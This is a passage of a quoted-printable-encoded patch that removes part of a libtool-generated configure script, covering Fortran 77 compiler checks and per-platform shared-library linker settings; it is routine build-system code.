"$as_me:$LINENO: checking if $compiler supports -c -o file.$ac_ob= jext" >&5 -echo $ECHO_N "checking if $compiler supports -c -o file.$ac_objext... = $ECHO_C" >&6 -if test "${lt_cv_prog_compiler_c_o_F77+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - lt_cv_prog_compiler_c_o_F77=3Dno - $rm -r conftest 2>/dev/null - mkdir conftest - cd conftest - mkdir out - printf "$lt_simple_compile_test_code" > conftest.$ac_ext - - lt_compiler_flag=3D"-o out/conftest2.$ac_objext" - # Insert the option either (1) after the last *FLAGS variable, or - # (2) before a word containing "conftest.", or (3) at the end. - # Note that $ac_compile itself does not contain backslashes and beg= ins - # with a dollar sign (not a hyphen), so the echo should work correc= tly. - lt_compile=3D`echo "$ac_compile" | $SED \ - -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ - -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ - -e 's:$: $lt_compiler_flag:'` - (eval echo "\"\$as_me:13470: $lt_compile\"" >&5) - (eval "$lt_compile" 2>out/conftest.err) - ac_status=3D$? - cat out/conftest.err >&5 - echo "$as_me:13474: \$? =3D $ac_status" >&5 - if (exit $ac_status) && test -s out/conftest2.$ac_objext - then - # The compiler can only warn and ignore the option if not recogni= zed - # So say no if there are warnings - if test ! -s out/conftest.err; then - lt_cv_prog_compiler_c_o_F77=3Dyes - fi - fi - chmod u+w . - $rm conftest* - # SGI C++ compiler will create directory out/ii_files/ for - # template instantiation - test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files - $rm out/* && rmdir out - cd .. - rmdir conftest - $rm conftest* - -fi -echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_c_o_F77" >&5 -echo "${ECHO_T}$lt_cv_prog_compiler_c_o_F77" >&6 - - -hard_links=3D"nottested" -if test "$lt_cv_prog_compiler_c_o_F77" =3D no && test "$need_locks" != =3D no; then - # do not overwrite the value of need_locks provided by the user - echo "$as_me:$LINENO: checking if we can lock with hard links" >&5 -echo $ECHO_N "checking if we can lock with hard links... $ECHO_C" >&6 - hard_links=3Dyes - $rm conftest* - ln conftest.a conftest.b 2>/dev/null && hard_links=3Dno - touch conftest.a - ln conftest.a conftest.b 2>&5 || hard_links=3Dno - ln conftest.a conftest.b 2>/dev/null && hard_links=3Dno - echo "$as_me:$LINENO: result: $hard_links" >&5 -echo "${ECHO_T}$hard_links" >&6 - if test "$hard_links" =3D no; then - { echo "$as_me:$LINENO: WARNING: \`$CC' does not support \`-c -o',= so \`make -j' may be unsafe" >&5 -echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j'= may be unsafe" >&2;} - need_locks=3Dwarn - fi -else - need_locks=3Dno -fi - -echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supp= orts shared libraries" >&5 -echo $ECHO_N "checking whether the $compiler linker ($LD) supports sha= red libraries... $ECHO_C" >&6 - - runpath_var=3D - allow_undefined_flag_F77=3D - enable_shared_with_static_runtimes_F77=3Dno - archive_cmds_F77=3D - archive_expsym_cmds_F77=3D - old_archive_From_new_cmds_F77=3D - old_archive_from_expsyms_cmds_F77=3D - export_dynamic_flag_spec_F77=3D - whole_archive_flag_spec_F77=3D - thread_safe_flag_spec_F77=3D - hardcode_libdir_flag_spec_F77=3D - hardcode_libdir_flag_spec_ld_F77=3D - hardcode_libdir_separator_F77=3D - hardcode_direct_F77=3Dno - hardcode_minus_L_F77=3Dno - hardcode_shlibpath_var_F77=3Dunsupported - link_all_deplibs_F77=3Dunknown - hardcode_automatic_F77=3Dno - module_cmds_F77=3D - module_expsym_cmds_F77=3D - always_export_symbols_F77=3Dno - export_symbols_cmds_F77=3D'$NM $libobjs $convenience | $global_symbo= l_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' - # include_expsyms should be a list of space-separated symbols to be = *always* - # included in the symbol list - include_expsyms_F77=3D - # exclude_expsyms can be an extended regexp of symbols to exclude - # it will be wrapped by ` (' and `)$', so one must not match beginni= ng or - # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' a= nd `bc', - # as well as any symbol that contains `d'. - exclude_expsyms_F77=3D"_GLOBAL_OFFSET_TABLE_" - # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.ou= t - # platforms (ab)use it in PIC code, but their linkers get confused i= f - # the symbol is explicitly referenced. Since portable code cannot - # rely on this symbol name, it's probably fine to never include it i= n - # preloaded symbol tables. - extract_expsyms_cmds=3D - - case $host_os in - cygwin* | mingw* | pw32*) - # FIXME: the MSVC++ port hasn't been tested in a loooong time - # When not using gcc, we currently assume that we are using - # Microsoft Visual C++. - if test "$GCC" !=3D yes; then - with_gnu_ld=3Dno - fi - ;; - openbsd*) - with_gnu_ld=3Dno - ;; - esac - - ld_shlibs_F77=3Dyes - if test "$with_gnu_ld" =3D yes; then - # If archive_cmds runs LD, not CC, wlarc should be empty - wlarc=3D'${wl}' - - # See if GNU ld supports shared libraries. - case $host_os in - aix3* | aix4* | aix5*) - # On AIX/PPC, the GNU linker is very broken - if test "$host_cpu" !=3D ia64; then -=09ld_shlibs_F77=3Dno -=09cat <&2 - -*** Warning: the GNU linker, at least up to release 2.9.1, is reported -*** to be unable to reliably create shared libraries on AIX. -*** Therefore, libtool is disabling shared libraries support. If you -*** really care for shared libraries, you may want to modify your PATH -*** so that a non-GNU linker is found, and then restart. - -EOF - fi - ;; - - amigaos*) - archive_cmds_F77=3D'$rm $output_objdir/a2ixlibrary.data~$echo "#= define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define = LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION= $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $re= vision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~= $RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' - hardcode_libdir_flag_spec_F77=3D'-L$libdir' - hardcode_minus_L_F77=3Dyes - - # Samuel A. Falvo II reports - # that the semantics of dynamic libraries on AmigaOS, at least u= p - # to version 4, is to share data among multiple programs linked - # with the same dynamic library. Since this doesn't match the - # behavior of shared libraries on other platforms, we can't use - # them. - ld_shlibs_F77=3Dno - ;; - - beos*) - if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/nu= ll; then -=09allow_undefined_flag_F77=3Dunsupported -=09# Joseph Beckenbach says some releases of gcc -=09# support --undefined. This deserves some investigation. FIXME -=09archive_cmds_F77=3D'$CC -nostart $libobjs $deplibs $compiler_flags = ${wl}-soname $wl$soname -o $lib' - else -=09ld_shlibs_F77=3Dno - fi - ;; - - cygwin* | mingw* | pw32*) - # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, F77) is actually mean= ingless, - # as there is no search path for DLLs. - hardcode_libdir_flag_spec_F77=3D'-L$libdir' - allow_undefined_flag_F77=3Dunsupported - always_export_symbols_F77=3Dno - enable_shared_with_static_runtimes_F77=3Dyes - export_symbols_cmds_F77=3D'$NM $libobjs $convenience | $global_s= ymbol_pipe | $SED -e '\''/^[BCDGS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED = -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols' - - if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then - archive_cmds_F77=3D'$CC -shared $libobjs $deplibs $compiler_fl= ags -o $output_objdir/$soname ${wl}--image-base=3D0x10000000 ${wl}--out= -implib,$lib' -=09# If the export-symbols file already is a .def file (1st line -=09# is EXPORTS), use it as is; otherwise, prepend... -=09archive_expsym_cmds_F77=3D'if test "x`$SED 1q $export_symbols`" =3D= xEXPORTS; then -=09 cp $export_symbols $output_objdir/$soname.def; -=09else -=09 echo EXPORTS > $output_objdir/$soname.def; -=09 cat $export_symbols >> $output_objdir/$soname.def; -=09fi~ -=09$CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_= flags -o $output_objdir/$soname ${wl}--image-base=3D0x10000000 ${wl}--= out-implib,$lib' - else -=09ld_shlibs=3Dno - fi - ;; - - netbsd*) - if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then -=09archive_cmds_F77=3D'$LD -Bshareable $libobjs $deplibs $linker_flags= -o $lib' -=09wlarc=3D - else -=09archive_cmds_F77=3D'$CC -shared $libobjs $deplibs $compiler_flags $= {wl}-soname $wl$soname -o $lib' -=09archive_expsym_cmds_F77=3D'$CC -shared $libobjs $deplibs $compiler_= flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symb= ols -o $lib' - fi - ;; - - solaris* | sysv5*) - if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then -=09ld_shlibs_F77=3Dno -=09cat <&2 - -*** Warning: The releases 2.8.* of the GNU linker cannot reliably -*** create shared libraries on Solaris systems. Therefore, libtool -*** is disabling shared libraries support. We urge you to upgrade GNU -*** binutils to release 2.9.1 or newer. Another option is to modify -*** your PATH or compiler configuration so that the native linker is -*** used, and then restart. - -EOF - elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/= null; then -=09archive_cmds_F77=3D'$CC -shared $libobjs $deplibs $compiler_flags $= {wl}-soname $wl$soname -o $lib' -=09archive_expsym_cmds_F77=3D'$CC -shared $libobjs $deplibs $compiler_= flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symb= ols -o $lib' - else -=09ld_shlibs_F77=3Dno - fi - ;; - - sunos4*) - archive_cmds_F77=3D'$LD -assert pure-text -Bshareable -o $lib $l= ibobjs $deplibs $linker_flags' - wlarc=3D - hardcode_direct_F77=3Dyes - hardcode_shlibpath_var_F77=3Dno - ;; - - linux*) - if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null= ; then - tmp_archive_cmds=3D'$CC -shared $libobjs $deplibs $compiler_fl= ags ${wl}-soname $wl$soname -o $lib' -=09archive_cmds_F77=3D"$tmp_archive_cmds" - supports_anon_versioning=3Dno - case `$LD -v 2>/dev/null` in - *\ 01.* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11 - *\ 2.11.93.0.2\ *) supports_anon_versioning=3Dyes ;; # RH7.3 .= .. - *\ 2.11.92.0.12\ *) supports_anon_versioning=3Dyes ;; # Mandra= ke 8.2 ... - *\ 2.11.*) ;; # other 2.11 versions - *) supports_anon_versioning=3Dyes ;; - esac - if test $supports_anon_versioning =3D yes; then - archive_expsym_cmds_F77=3D'$echo "{ global:" > $output_objdir/= $libname.ver~ -cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libnam= e.ver~ -$echo "local: *; };" >> $output_objdir/$libname.ver~ - $CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl= $soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' - else - archive_expsym_cmds_F77=3D"$tmp_archive_cmds" - fi - else - ld_shlibs_F77=3Dno - fi - ;; - - *) - if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/nu= ll; then -=09archive_cmds_F77=3D'$CC -shared $libobjs $deplibs $compiler_flags $= {wl}-soname $wl$soname -o $lib' -=09archive_expsym_cmds_F77=3D'$CC -shared $libobjs $deplibs $compiler_= flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symb= ols -o $lib' - else -=09ld_shlibs_F77=3Dno - fi - ;; - esac - - if test "$ld_shlibs_F77" =3D yes; then - runpath_var=3DLD_RUN_PATH - hardcode_libdir_flag_spec_F77=3D'${wl}--rpath ${wl}$libdir' - export_dynamic_flag_spec_F77=3D'${wl}--export-dynamic' - # ancient GNU ld didn't support --whole-archive et. al. - if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then - =09whole_archive_flag_spec_F77=3D"$wlarc"'--whole-archive$convenience= '"$wlarc"'--no-whole-archive' - else - =09whole_archive_flag_spec_F77=3D - fi - fi - else - # PORTME fill in a description of your system's linker (not GNU ld= ) - case $host_os in - aix3*) - allow_undefined_flag_F77=3Dunsupported - always_export_symbols_F77=3Dyes - archive_expsym_cmds_F77=3D'$LD -o $output_objdir/$soname $libobj= s $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $A= R_FLAGS $lib $output_objdir/$soname' - # Note: this linker hardcodes the directories in LIBPATH if ther= e - # are no directories specified by -L. - hardcode_minus_L_F77=3Dyes - if test "$GCC" =3D yes && test -z "$link_static_flag"; then -=09# Neither direct hardcoding nor static linking is supported with a -=09# broken collect2. -=09hardcode_direct_F77=3Dunsupported - fi - ;; - - aix4* | aix5*) - if test "$host_cpu" =3D ia64; then -=09# On IA64, the linker does run time linking by default, so we don't -=09# have to do anything special. -=09aix_use_runtimelinking=3Dno -=09exp_sym_flag=3D'-Bexport' -=09no_entry_flag=3D"" - else -=09# If we're using GNU nm, then we don't want the "-C" option. -=09# -C means demangle to AIX nm, but means don't demangle with GNU nm -=09if $NM -V 2>&1 | grep 'GNU' > /dev/null; then -=09 export_symbols_cmds_F77=3D'$NM -Bpg $libobjs $convenience | awk '= \''{ if (((\$2 =3D=3D "T") || (\$2 =3D=3D "D") || (\$2 =3D=3D "B")) && = (substr(\$3,1,1) !=3D ".")) { print \$3 } }'\'' | sort -u > $export_sym= bols' -=09else -=09 export_symbols_cmds_F77=3D'$NM -BCpg $libobjs $convenience | awk = '\''{ if (((\$2 =3D=3D "T") || (\$2 =3D=3D "D") || (\$2 =3D=3D "B")) &&= (substr(\$3,1,1) !=3D ".")) { print \$3 } }'\'' | sort -u > $export_sy= mbols' -=09fi -=09aix_use_runtimelinking=3Dno - -=09# Test if we are trying to use run time linking or normal -=09# AIX style linking. If -brtl is somewhere in LDFLAGS, we -=09# need to do runtime linking. -=09case $host_os in aix4.[23]|aix4.[23].*|aix5*) -=09 for ld_flag in $LDFLAGS; do - =09 if (test $ld_flag =3D "-brtl" || test $ld_flag =3D "-Wl,-brtl")= ; then - =09 aix_use_runtimelinking=3Dyes - =09 break - =09 fi -=09 done -=09esac - -=09exp_sym_flag=3D'-bexport' -=09no_entry_flag=3D'-bnoentry' - fi - - # When large executables or shared objects are built, AIX ld can - # have problems creating the table of contents. If linking a li= brary - # or program results in "error TOC overflow" add -mminimal-toc t= o - # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not - # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. - - archive_cmds_F77=3D'' - hardcode_direct_F77=3Dyes - hardcode_libdir_separator_F77=3D':' - link_all_deplibs_F77=3Dyes - - if test "$GCC" =3D yes; then -=09case $host_os in aix4.012|aix4.012.*) -=09# We only want to do this on AIX 4.2 and lower, the check -=09# below for broken collect2 doesn't work under 4.3+ -=09 collect2name=3D`${CC} -print-prog-name=3Dcollect2` -=09 if test -f "$collect2name" && \ - =09 strings "$collect2name" | grep resolve_lib_name >/dev/null -=09 then - =09 # We have reworked collect2 - =09 hardcode_direct_F77=3Dyes -=09 else - =09 # We have old collect2 - =09 hardcode_direct_F77=3Dunsupported - =09 # It fails to find uninstalled libraries when the uninstalled - =09 # path is not listed in the libpath. Setting hardcode_minus_L - =09 # to unsupported forces relinking - =09 hardcode_minus_L_F77=3Dyes - =09 hardcode_libdir_flag_spec_F77=3D'-L$libdir' - =09 hardcode_libdir_separator_F77=3D -=09 fi -=09esac -=09shared_flag=3D'-shared' - else -=09# not using gcc -=09if test "$host_cpu" =3D ia64; then - =09# VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release - =09# chokes on -Wl,-G. The following line is correct: -=09 shared_flag=3D'-G' -=09else - =09if test "$aix_use_runtimelinking" =3D yes; then -=09 shared_flag=3D'${wl}-G' -=09 else -=09 shared_flag=3D'${wl}-bM:SRE' - =09fi -=09fi - fi - - # It seems that -bexpall does not export symbols beginning with - # underscore (_), so it is better to generate a list of symbols = to export. - always_export_symbols_F77=3Dyes - if test "$aix_use_runtimelinking" =3D yes; then -=09# Warning - without using the other runtime loading flags (-brtl), -=09# -berok will link without error, but may produce a broken library. -=09allow_undefined_flag_F77=3D'-berok' - # Determine the default libpath from the value encoded in an em= pty executable. - cat >conftest.$ac_ext <<_ACEOF - program main - - end -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_f77_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - -aix_libpath=3D`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/I= mport File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } -}'` -# Check for a 64-bit object if we didn't find anything. -if test -z "$aix_libpath"; then aix_libpath=3D`dump -HX64 conftest$ac_= exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/= ^0 *\(.*\)$/\1/; p; } -}'`; fi -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -if test -z "$aix_libpath"; then aix_libpath=3D"/usr/lib:/lib"; fi - - hardcode_libdir_flag_spec_F77=3D'${wl}-blibpath:$libdir:'"$aix_= libpath" -=09archive_expsym_cmds_F77=3D"\$CC"' -o $output_objdir/$soname $libobj= s $deplibs $compiler_flags `if test "x${allow_undefined_flag}" !=3D "x"= ; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_ent= ry_flag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" - else -=09if test "$host_cpu" =3D ia64; then -=09 hardcode_libdir_flag_spec_F77=3D'${wl}-R $libdir:/usr/lib:/lib' -=09 allow_undefined_flag_F77=3D"-z nodefs" -=09 archive_expsym_cmds_F77=3D"\$CC $shared_flag"' -o $output_objdir/= $soname $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} = '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" -=09else -=09 # Determine the default libpath from the value encoded in an empty= executable. -=09 cat >conftest.$ac_ext <<_ACEOF - program main - - end -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_f77_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - -aix_libpath=3D`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/I= mport File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } -}'` -# Check for a 64-bit object if we didn't find anything. -if test -z "$aix_libpath"; then aix_libpath=3D`dump -HX64 conftest$ac_= exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/= ^0 *\(.*\)$/\1/; p; } -}'`; fi -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -if test -z "$aix_libpath"; then aix_libpath=3D"/usr/lib:/lib"; fi - -=09 hardcode_libdir_flag_spec_F77=3D'${wl}-blibpath:$libdir:'"$aix_lib= path" -=09 # Warning - without using the other run time loading flags, -=09 # -berok will link without error, but may produce a broken librar= y. -=09 no_undefined_flag_F77=3D' ${wl}-bernotok' -=09 allow_undefined_flag_F77=3D' ${wl}-berok' -=09 # -bexpall does not export symbols beginning with underscore (_) -=09 always_export_symbols_F77=3Dyes -=09 # Exported symbols can be pulled into shared objects from archive= s -=09 whole_archive_flag_spec_F77=3D' ' -=09 archive_cmds_need_lc_F77=3Dyes -=09 # This is similar to how AIX traditionally builds it's shared lib= raries. -=09 archive_expsym_cmds_F77=3D"\$CC $shared_flag"' -o $output_objdir/= $soname $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl= }-bnoentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname= $release.a $output_objdir/$soname' -=09fi - fi - ;; - - amigaos*) - archive_cmds_F77=3D'$rm $output_objdir/a2ixlibrary.data~$echo "#= define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define = LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION= $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $re= vision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~= $RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' - hardcode_libdir_flag_spec_F77=3D'-L$libdir' - hardcode_minus_L_F77=3Dyes - # see comment about different semantics on the GNU ld section - ld_shlibs_F77=3Dno - ;; - - bsdi[45]*) - export_dynamic_flag_spec_F77=3D-rdynamic - ;; - - cygwin* | mingw* | pw32*) - # When not using gcc, we currently assume that we are using - # Microsoft Visual C++. - # hardcode_libdir_flag_spec is actually meaningless, as there is - # no search path for DLLs. - hardcode_libdir_flag_spec_F77=3D' ' - allow_undefined_flag_F77=3Dunsupported - # Tell ltmain to make .lib files, not .a files. - libext=3Dlib - # Tell ltmain to make .dll files, not .so files. - shrext_cmds=3D".dll" - # FIXME: Setting linknames here is a bad hack. - archive_cmds_F77=3D'$CC -o $lib $libobjs $compiler_flags `echo "= $deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames=3D' - # The linker will automatically build a .lib file if we build a = DLL. - old_archive_From_new_cmds_F77=3D'true' - # FIXME: Should let the user specify the lib program. - old_archive_cmds_F77=3D'lib /OUT:$oldlib$oldobjs$old_deplibs' - fix_srcfile_path=3D'`cygpath -w "$srcfile"`' - enable_shared_with_static_runtimes_F77=3Dyes - ;; - - darwin* | rhapsody*) - case "$host_os" in - rhapsody* | darwin1.[012]) - allow_undefined_flag_F77=3D'${wl}-undefined ${wl}suppress' - ;; - *) # Darwin 1.3 on - if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then - allow_undefined_flag_F77=3D'${wl}-flat_namespace ${wl}-unde= fined ${wl}suppress' - else - case ${MACOSX_DEPLOYMENT_TARGET} in - 10.[012]) - allow_undefined_flag_F77=3D'${wl}-flat_namespace ${wl}-= undefined ${wl}suppress' - ;; - 10.*) - allow_undefined_flag_F77=3D'${wl}-undefined ${wl}dynami= c_lookup' - ;; - esac - fi - ;; - esac - archive_cmds_need_lc_F77=3Dno - hardcode_direct_F77=3Dno - hardcode_automatic_F77=3Dyes - hardcode_shlibpath_var_F77=3Dunsupported - whole_archive_flag_spec_F77=3D'' - link_all_deplibs_F77=3Dyes - if test "$GCC" =3D yes ; then - =09output_verbose_link_cmd=3D'echo' - archive_cmds_F77=3D'$CC -dynamiclib $allow_undefined_flag -o $= lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $ver= string' - module_cmds_F77=3D'$CC $allow_undefined_flag -o $lib -bundle $li= bobjs $deplibs$compiler_flags' - # Don't fix this by using the ld -exported_symbols_list flag, it= doesn't exist in older darwin ld's - archive_expsym_cmds_F77=3D'sed -e "s,#.*,," -e "s,^[ ]*,," -e= "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols= .expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs= $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $out= put_objdir/${libname}-symbols.expsym ${lib}' - module_expsym_cmds_F77=3D'sed -e "s,#.*,," -e "s,^[ ]*,," -e = "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.= expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$com= piler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' - else - case "$cc_basename" in - xlc*) - output_verbose_link_cmd=3D'echo' - archive_cmds_F77=3D'$CC -qmkshrobj $allow_undefined_flag -o $= lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rp= ath/$soname` $verstring' - module_cmds_F77=3D'$CC $allow_undefined_flag -o $lib -bundle = $libobjs $deplibs$compiler_flags' - # Don't fix this by using the ld -exported_symbols_list flag= , it doesn't exist in older darwin ld's - archive_expsym_cmds_F77=3D'sed -e "s,#.*,," -e "s,^[ ]*,,"= -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symb= ols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $depli= bs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nm= edit -s $output_objdir/${libname}-symbols.expsym ${lib}' - module_expsym_cmds_F77=3D'sed -e "s,#.*,," -e "s,^[ ]*,,"= -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symb= ols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs= $compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${li= b}' - ;; - *) - ld_shlibs_F77=3Dno - ;; - esac - fi - ;; - - dgux*) - archive_cmds_F77=3D'$LD -G -h $soname -o $lib $libobjs $deplibs = $linker_flags' - hardcode_libdir_flag_spec_F77=3D'-L$libdir' - hardcode_shlibpath_var_F77=3Dno - ;; - - freebsd1*) - ld_shlibs_F77=3Dno - ;; - - # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ const= ructor - # support. Future versions do this automatically, but an explicit= c++rt0.o - # does not break anything, and helps significantly (at the cost of= a little - # extra space). - freebsd2.2*) - archive_cmds_F77=3D'$LD -Bshareable -o $lib $libobjs $deplibs $l= inker_flags /usr/lib/c++rt0.o' - hardcode_libdir_flag_spec_F77=3D'-R$libdir' - hardcode_direct_F77=3Dyes - hardcode_shlibpath_var_F77=3Dno - ;; - - # Unfortunately, older versions of FreeBSD 2 do not have this feat= ure. - freebsd2*) - archive_cmds_F77=3D'$LD -Bshareable -o $lib $libobjs $deplibs $l= inker_flags' - hardcode_direct_F77=3Dyes - hardcode_minus_L_F77=3Dyes - hardcode_shlibpath_var_F77=3Dno - ;; - - # FreeBSD 3 and greater uses gcc -shared to do shared libraries. - freebsd* | kfreebsd*-gnu) - archive_cmds_F77=3D'$CC -shared -o $lib $libobjs $deplibs $compi= ler_flags' - hardcode_libdir_flag_spec_F77=3D'-R$libdir' - hardcode_direct_F77=3Dyes - hardcode_shlibpath_var_F77=3Dno - ;; - - hpux9*) - if test "$GCC" =3D yes; then -=09archive_cmds_F77=3D'$rm $output_objdir/$soname~$CC -shared -fPIC ${= wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs = $compiler_flags~test $output_objdir/$soname =3D $lib || mv $output_objd= ir/$soname $lib' - else -=09archive_cmds_F77=3D'$rm $output_objdir/$soname~$LD -b +b $install_l= ibdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $o= utput_objdir/$soname =3D $lib || mv $output_objdir/$soname $lib' - fi - hardcode_libdir_flag_spec_F77=3D'${wl}+b ${wl}$libdir' - hardcode_libdir_separator_F77=3D: - hardcode_direct_F77=3Dyes - - # hardcode_minus_L: Not really in the search PATH, - # but as the default location of the library. - hardcode_minus_L_F77=3Dyes - export_dynamic_flag_spec_F77=3D'${wl}-E' - ;; - - hpux10* | hpux11*) - if test "$GCC" =3D yes -a "$with_gnu_ld" =3D no; then -=09case "$host_cpu" in -=09hppa*64*|ia64*) -=09 archive_cmds_F77=3D'$CC -shared ${wl}+h ${wl}$soname -o $lib $lib= objs $deplibs $compiler_flags' -=09 ;; -=09*) -=09 archive_cmds_F77=3D'$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+= b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' -=09 ;; -=09esac - else -=09case "$host_cpu" in -=09hppa*64*|ia64*) -=09 archive_cmds_F77=3D'$LD -b +h $soname -o $lib $libobjs $deplibs $= linker_flags' -=09 ;; -=09*) -=09 archive_cmds_F77=3D'$LD -b +h $soname +b $install_libdir -o $lib = $libobjs $deplibs $linker_flags' -=09 ;; -=09esac - fi - if test "$with_gnu_ld" =3D no; then -=09case "$host_cpu" in -=09hppa*64*) -=09 hardcode_libdir_flag_spec_F77=3D'${wl}+b ${wl}$libdir' -=09 hardcode_libdir_flag_spec_ld_F77=3D'+b $libdir' -=09 hardcode_libdir_separator_F77=3D: -=09 hardcode_direct_F77=3Dno -=09 hardcode_shlibpath_var_F77=3Dno -=09 ;; -=09ia64*) -=09 hardcode_libdir_flag_spec_F77=3D'-L$libdir' -=09 hardcode_direct_F77=3Dno -=09 hardcode_shlibpath_var_F77=3Dno - -=09 # hardcode_minus_L: Not really in the search PATH, -=09 # but as the default location of the library. -=09 